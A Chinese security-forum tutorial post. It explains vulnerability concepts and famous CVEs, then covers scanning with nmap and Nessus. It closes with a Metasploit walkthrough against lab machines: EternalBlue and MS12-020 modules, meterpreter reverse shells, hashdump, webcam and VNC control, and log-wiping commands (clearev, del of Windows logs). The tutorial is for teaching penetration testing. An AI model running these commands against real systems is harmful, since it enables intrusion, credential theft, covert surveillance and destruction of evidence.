用户
搜索
  • TA的每日心情
    开心
    昨天 07:36
  • 签到天数: 101 天

    连续签到: 101 天

    [LV.6]常住居民II

    i春秋-见习白帽

    Rank: 3Rank: 3

    44

    主题

    91

    帖子

    2578

    魔法币
    收听
    0
    粉丝
    4
    注册时间
    2020-10-2
    发表于 2021-5-19 22:49:51 02735
    本帖最后由 Johnson666 于 2021-5-19 22:53 编辑

    安全漏洞的基本概念
    什么是漏洞?
    “漏洞”也称脆弱性,指系统存在的设计缺陷、错误或不合理之处。漏洞在生活中很常见,如游戏漏洞,支付宝漏洞,刷钻漏洞,Windows漏洞等
    漏洞是一种软件代码缺陷,这种缺陷大多数情况下不会影响用户的正常使用,但是一旦被恶意攻击者利用,就会对软件自身或软件的用户带来危害。如信息系统被攻击或控制,重要资料被窃取,用户数据被篡改,系统被作为入侵其他主机系统的跳板。从目前发现的漏洞来看,应用软件中的漏洞远远多于操作系统中的漏洞,特别是WEB应用系统中的漏洞更是占信息系统漏洞中的绝大多数。
    比如:刷钻漏洞:早期网上出现了一批刷钻的人,通过手机卡去开通腾讯的钻类服务,输入特定代码,可以实现免费开通这些业务
    游戏漏洞:穿越火线,抽奖活动,从商城购买的某个特定的抽奖礼包可以无限次使用。



    微软的RPC漏洞与蠕虫病毒
    1.png
    RPC:远程过程调用,也就是说两台服务器A,B,一个应用部署在A服务器上,想要调用B服务器上应用提供的函数/方法,由于不在一个内存空间,不能直接调用,需要通过网络来表达调用的语义和传达调用的数据。
    缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在
    缓冲区:视频的缓冲中。缓冲区就是用户用来“顺序”存放将要执行指令的这一块内存区域
    缓冲区溢出:溢出的数据覆盖在合法数据上
    飞客蠕虫病毒:请求解析随机域名(DGA)、不能正常访问安全厂商的网站或服务器、下载木马
    MS08-067:远程缓冲区溢出



    2.png


    3.png


    4.png


    微软经典的蓝屏漏洞
    MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞,
    远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。Windows在处理某些对象时存在错误,可通过特制的RDP报文访问未初始化的或已经删除的对象,导致任意代码执行,然后控制系统。
    实际使用过程中通常用于造成蓝屏攻击。

    5.png


    Heartbleed(心脏滴血)漏洞
    2014年4月7日OpenSSL发布了安全公告,在OpenSSL1.0.1版本中存在严重漏洞(CVE-2014-0160)。OpenSSL的Heartbleed模块存在一个漏洞,当攻击者构造一个特殊的数据包,满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出,该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。
    SSL(安全套接层)协议是使用最为普遍网站加密技术,在线购物、网银等活动均采用SSL技术来防止窃密及避免中间人攻击。使用 https协议的连接采用了SSL加密技术。而OpenSSL则是开源的 SSL 套件,为全球三分之二的web服务器所使用。Web服务器正是通过它来将密钥发送给访客然后在双方的连接之间对信息进行加密。
    如果要使 SSL 发挥作用,计算机需要与服务器进行通信。为此,它会发送称为“heartbeat”(心跳)的信息。heartbeat 所做的就是向服务器发送特定信号以确定服务器是否联机。如果服务器联机,它会向计算机发送回该信号,让用户可以尽享安全的通信。计算机和服务器会定期发送 heartbeat 以确定用户和服务器没有脱机。
    Heartbleed 会向服务器发送恶意 heartbeat,以此来“恶搞心跳”。实质上是“诱骗”服务器向发送该恶意 heartbeat 的用户传回一个随机内存块,其中可能包含一组地址、用户名和密码。本来发给用户的,发给你了。

    2014年4月9日,Heartbleed(意为“心脏出血”)的重大安全漏洞被曝光,一位安全行业人士在知乎上透露,他在某著名电商网站上用这个漏洞尝试读取数据,在读取200次后,获得了40多个用户名、7个密码,用这些密码,他成功地登录了该网站。

    6.png


    破壳漏洞CVE-2014-6271
    “破壳”是Bash(GNU Bourne Again Shell)中出现的允许攻击者通过环境变量执行任意命令的漏洞。
    bash漏洞是控制Linux计算机命令提示符的软件中存在的漏洞。
    bash是一个为GNU计划编写的Unix shell。它的名字是一系列缩写:Bourne-Again SHell ,Bourne shell是一个早期的重要shell,由史蒂夫·伯恩在1978年前后编写,并同Version 7 Unix一起发布。
    2014年9月25日,外媒曝出一个广泛存在于主流操作系统的漏洞bash,该漏洞会影响到Redhat、CentOS、Ubuntu、Debian、Fedora 、AmazonLinux、OS X 10.10等平台。
    在实际的利用中,破壳漏洞常用于权限提升。

    7.png


    漏洞的危害
    8.png


    漏洞的成因
    实现漏洞

    实现漏洞是安全漏洞中最大的一类,大多数我们接触到的安全漏洞都属于这一类。实现类漏洞是由于在程序编码时不够严谨或对于安全性的考虑不周而产生的漏洞,缓冲区溢出类漏洞是最典型的实现漏洞。



    设计漏洞
    设计漏洞主要是指软件、硬件和固件在设计时对于安全性考虑不周导致的漏洞。例如F5 BIG-ip远程绕过验证漏洞是由于F5设备的SSH登录模块内置了一个可用于登录的秘钥文件,这个秘钥被泄露后任意获取该秘钥的用户都可以登录任意一台相关版本的设备。


    配置漏洞
    配置漏洞是由于软件的默认配置或者不恰当的配置导致的安全漏洞。例如弱口令或默认口令就是一种常见的配置漏洞。在Windows NT系统中,默认情况下会允许远程用户建立空会话,枚举系统里的各项NetBIOS信息。这里空会话指可以用空的用户名和空的口令通过NetBIOS协议登录到远程的Windows系统中。



    漏洞的信息的组成
    漏洞的主要组成部分:
    1.漏洞名称
    2.发布日期
    3.漏洞编号
    4.风险等级
    5.影响范围
    6.漏洞描述
    7.解决方案


    漏洞风险等级评估:
    9.png

    10.png

    11.png

    漏洞信息管理
    CVE(Common Vulnerabilities & Exposures,通用漏洞披露)
    美国国家漏洞数据库(NVD)
    http://cve.mitre.org  CVE官网
    http://www.cnnvd.org.cn/index.html     国家信息安全漏洞库
    http://www.cnvd.org.cn/   国家信息安全漏洞共享平台
    http://www.nsfocus.net/   绿盟科技
    http://www.scap.org.cn/ SCAP  安全内容自动化协议中文社区
    https://www.exploit-db.com/  渗透测试漏洞数据库


    比如:
    MS:微软的漏洞,MS17-010(17年编号010)
    KB:微软漏洞补丁
    CNVD:中国漏洞管理平台编号,非公开
    CVE:公告漏洞和暴露,给漏洞一个公共的名称(方便在不同的漏洞数据库和评估工具中共享数据),CVE-2017-0143(2017年,编号0143)



    漏洞检测技术
    目标:研究专门的技术手段和方法,建立多角度的漏洞检测能力
    经验向理论转化
    形成自动化、规模化能力


    方法:
    静态分析(分析代码)
    动态分析(漏洞扫描,又可分为本地扫描和远程扫描)



    常见的系统漏洞扫描器
    系统漏洞扫描器,主要是针对操作系统和各类通用性较强的软件应用进行漏洞检测的工具。


    软件类: NESSUS、 OpenVAS、nmap
    硬件类:
            绿盟远程安全评估系统
            启明天镜脆弱性扫描与管理系统
            杭州迪普漏洞扫描系统
            榕基风险管理系统
            网御漏洞扫描系统


    12.png


    系统漏洞扫描的流程
    13.png


    漏洞识别原理
    漏洞识别的主要方法可以分为原理扫描和推断扫描两类,在实际实现的过程中扫描器开发者会根据漏洞的特点不同选择不同的漏
    洞识别技术来进行漏洞识别。
    14.png


    利用NMAP扫描漏洞
    常见的NMAP脚本扫描:
    命令格式:nmap --script=<类别参数>


    脚本扫描参数:
    broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务  
    brute: 提供暴力破解方式,针对常见的应用如http/snmp等  
    default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力  
    discovery: 获取网络更多的信息,如SMB枚举、SNMP查询等  
    exploit: 利用已知的漏洞入侵系统  
    fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞 intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽  
    malware: 探测目标机是否感染了病毒、开启了后门等信息  safe: 此类与intrusive相反,属于安全性脚本  
    version: 负责增强服务与版本扫描(Version Detection)功能的脚本  
    vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067



    举个例子:
    使用nmap --script=vuln 10.10.10.135 扫描10.10.10.135中常是否有常见的漏洞
    最后发现有ms08-067等高危漏洞
    15.png


    Nessus介绍与漏洞扫描

    NESSUS简介
    Nessus 是目前全世界最多人使用的系统漏洞扫描与分析软件,具有能够提供完整的电脑漏洞扫描服务, 并随时更新其漏洞数据库。可同时在本
    机或远端上摇控, 进行系统的漏洞分析扫描,运作效能能随着系统的资源而自行调整。可自行定义插件(Plug-in)等特性。
    16.png


    NESSUS的功能介绍

    打开浏览器输入https://localhost:8834进入登录页面输入帐号密码登录NESSUS;


    在首页选择 new scans 新建一个扫描任务,新建任务时需要对扫描进行选择或配置,带有upgrade标签的是需要升级成企业版或者专业办才能
    使用。


    在scan Library 中选择Basic Network Scan,进行配置,通常情况下只对General(一般选项)、 Discovery(主机发现)、 Assessment(风
    险评估)、及Advanced(高级选项)进行配置。
    17.png


    18.png


    19.png


    20.png


    21.png


    22.png


    常见漏洞扫描器的使用方法
    23.png


    NESSUS的使用
    使用NESSUS进行扫描的具体步骤:
    1、在New Scan ->Basic Network Scan 下设置项目名称与描述,设置归属栏目为my scans,输入目标主机地址或网段。
    2、可在首页查看扫描记录,点击对应的扫描任务可查看任务可查看任务的详细信息
    3、选择扫描任务进入后可查看扫描信息。
    4、点击要查看的漏洞,可获取该漏洞的介绍、漏洞对应的解决方案、生成原因、涉及到的端口和主机的信息。
    24.png
    25.png


    26.png


    27.png


    28.png


    NESSUS的报告解读
    1.漏洞风险等级
    2.漏洞描述
    3.漏洞涉及服务端口


    Metasploit介绍与漏洞利用
    Metasploit的简介
    Metasploit就是一个漏洞利用框架。全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因
    为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试
    29.png


    metasploit攻击流程与思路
    使用Metasploit的具体思路:
    搜索攻击模块;使用命令:Search + 漏洞信息或编号
    使用某个模块;使用命令:use
    查看配置选项;使用命令:show options
    设置选项值;使用命令:set
    开始攻击;使用命令:run/exploit
    30.png


    Metasploit常用的命令
    Metasploit的常用命令:
    1.show exploits 显示可用的渗透攻击模块。
    2.search 用来搜寻一些渗透攻击模块,可以进行模糊匹配。
    3.use 使用某个渗透攻击模块,可以通过use命令来使用show 或 search出来的渗透模块。
    4.show options 显示参数当选择渗透模块后,使用show options 会显示该模块所需设置的参数。
    5.set 命令是用来设置某些选项的,比如使用set 命令设置,攻击模块的options参数;设置攻击载荷payloads时,也是用set命令。
    6.exploit 命令,设置完所有参数时,使用exploit命令,开始进行攻击。


    Metasploit漏洞利用流程
    攻击流程与思路
    1、使用nmap(zenmap),nessus等扫描工具扫描目标主机版本、端口与服务,漏洞等信息,寻找可利用漏洞。
    2、分析漏洞,并在metasploit中寻找可利用exploit或Aux模块。
    3、使用合适的exploit(AUX)并选择payload,配置好exploit(AUX)与payload尝试进行攻击
    4、攻击成功,获取系统权限。


    扫描目标主机
    使用Nessus对目标主机进行扫描,查看目标主机存在的漏洞。

    31.png


    32.png


    注:nessus是一款开源的软件,部分高级功能需要收费,目前业界最受欢迎的漏洞扫描软件,操作简便Web界面
    不同颜色代表不同的安全级别,红色为最高,接下来是橘色的,在接下来是黄色。
    我们需要对扫描出来的漏洞进行分析,有的可以通过msf被利用,有的不能被利用,所以需要使用msf框架去搜索是否存在对应的攻击模块
    /etc/init.d/nessusd start       开启nessus服务
    登录Nessus。在浏览器中输入地址https://主机IP:8834或https://主机名:8834。


    分析漏洞
    打开matesploit,搜寻漏洞相关的渗透攻击模块(exploit)
    使用search命令,搜寻我们刚才扫描出的漏洞可用的模块
    出现如下情况说明,未与数据库建立连接,会导致搜索速度变慢
    33.png


    回到kali根目录下执行命令:service postgresql start
    34.png


    打开matesploit,搜寻漏洞相关的渗透攻击模块(exploit)
    在kali的命令行中,敲入msfconsole打开matesploit控制台
    35.png



    打开matesploit,搜寻漏洞相关的渗透攻击模块(exploit)
    与数据库建立连接后,再次执行搜索命令
    36.png


    在此我们选择exploit模块,auxiliary是辅助模块,不具备渗透攻击能力



    利用漏洞
    使用刚搜索到的exploit模块
    使用use命令,use exploit/windows/smb/ms17_010_eternalblue
    37.png


    使用show option命令,查看参数设置
    38.png




    设置exploit相关参数,执行攻击
    设置目标IP地址,set RHOST 192.168.100.129
    执行exploit,进行攻击
    39.png


    最终结果,获取主机控制权
    40.png



    更多的攻击方式
    设置payload获得目标主机屏幕截图
    使用命令:set payload
    小技巧:在set payload后面敲2次TAB建,可以查看可使用的payload
    41.png



    注:payload指的是在渗透攻击后,在目标系统上在附带一串代码,从而实现更多的攻击方式。


    设置payload获得目标主机屏幕截图
    我们选择meterpreter来对windows靶机进行操控
    指令:set payload windows/x64/meterpreter/reverse_tcp
    42.png


    执行exploit,进入meterpreter
    43.png


    注:
    Meterpreter是Metasploit的默认Windows系统下的Shell Code,可以实现用Metasploit的指令远程操控windows系统,并将结果返回到linux



    设置payload获得目标主机屏幕截图
    进入meterpreter界面以后就可以有执行许多操作,如屏幕截图,键盘记录等
    屏幕截图:screenshot | 快速提权:getsystem | 获取数据库:hashdump |
    上传/下载:upload/download | 在目标系统中执行文件:execute
    44.png


    45.png


    使用VNC payload远程操控目标电脑
    设置payload为vnc:set payload windows/x64/vncinject/reverse_tcp
    修改参数“ViewOnly”的值为“no”
    46.png


    执行exploit
    47.png



    捕获摄像头
    webcam_list查看摄像头列表
    webcam_snap摄像头拍摄照片
    Webcam_stream
    48.png



    最后,记得清理一下痕迹
    进入meterpreter中,执行clearev清理windows的全部日志信息
    49.png


    windows的dos命令行下,可执行C:\>del %WINDIR%\*.log /a/s/q/f
    50.png


    使用metasploit进行漏洞利用

    1、在kali里面打开metasploit漏洞利用框架
    51.png


    2、搜索ms12-020漏洞利用模块

    52.png


    3、使用模块 use + 模块名

    53.png


    4、查看当前模块所需配置项 show options,RHOST需设为远程靶机的IP地址

    54.png


    5、设置配置项,如set RHOST xxx.xxx.xx.x
    55.png

    使用metasploit进行ms12_020漏洞利用

    6、实施攻击 exploit 或者run
    56.png

    57.png


    更多种meterpreter渗透方式详见:http://blog.sina.com.cn/s/blog_4c86552f0102wll1.html
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册